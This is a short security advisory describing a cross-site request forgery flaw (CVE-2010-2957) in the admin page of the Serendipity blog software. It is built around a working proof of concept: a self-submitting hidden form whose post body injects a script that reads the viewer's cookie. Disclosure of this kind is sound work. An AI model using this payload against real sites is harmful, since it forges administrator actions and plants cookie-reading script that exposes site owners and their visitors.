Cross-site Request Forgery (CSRF) in Serendipity

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Serendipity which could be exploited to perform cross-site request forgery attacks.

1) Cross-site Request Forgery (CSRF) in Serendipity: CVE-2010-2957
The vulnerability exists due to insufficient validation of the request origin in serendipity_admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and execute arbitrary HTML and script code in user`s browser in context of the vulnerable site. Successful exploitation requires that victim uses "Remember me" feature in the Serendipity backend to login.
Exploitation example:
<form action="http://host/serendipity_admin.php?" method="post" name="main" >
<input type="hidden" name="serendipity[action]" value="admin" />
<input type="hidden" name="serendipity[adminModule]" value="entries" />
<input type="hidden" name="serendipity[adminAction]" value="save" />
<!--<input type="hidden" name="serendipity[timestamp]" value="1282502444" />-->
<input type="hidden" name="serendipity[id]" value="1" />
<input type="hidden" name="serendipity[timestamp]" value="1282502100" />
<input type="hidden" name="serendipity[preview]" value="false" />
<input type="hidden" name="serendipity[token]" value="12345" />
<input type="hidden" name="serendipity[title]" value="title" />
<input type="hidden" name="serendipity[isdraft]" value="false" />
<input type="hidden" name="serendipity[chk_timestamp]" value="1282502100" />
<input type="hidden" name="serendipity[new_timestamp]" value="2010-08-22+22:40" />
<input type="hidden" name="serendipity[categories][]" value="0" />
<input type="hidden" name="serendipity[body]" value='body2"><script>alert(document.cookie)</script>' />
<input type="hidden" name="serendipity[allow_comments]" value="true" />
<input type="hidden" name="serendipity[extended]" value="" />
</form>
<script>
document.main.submit();
</script>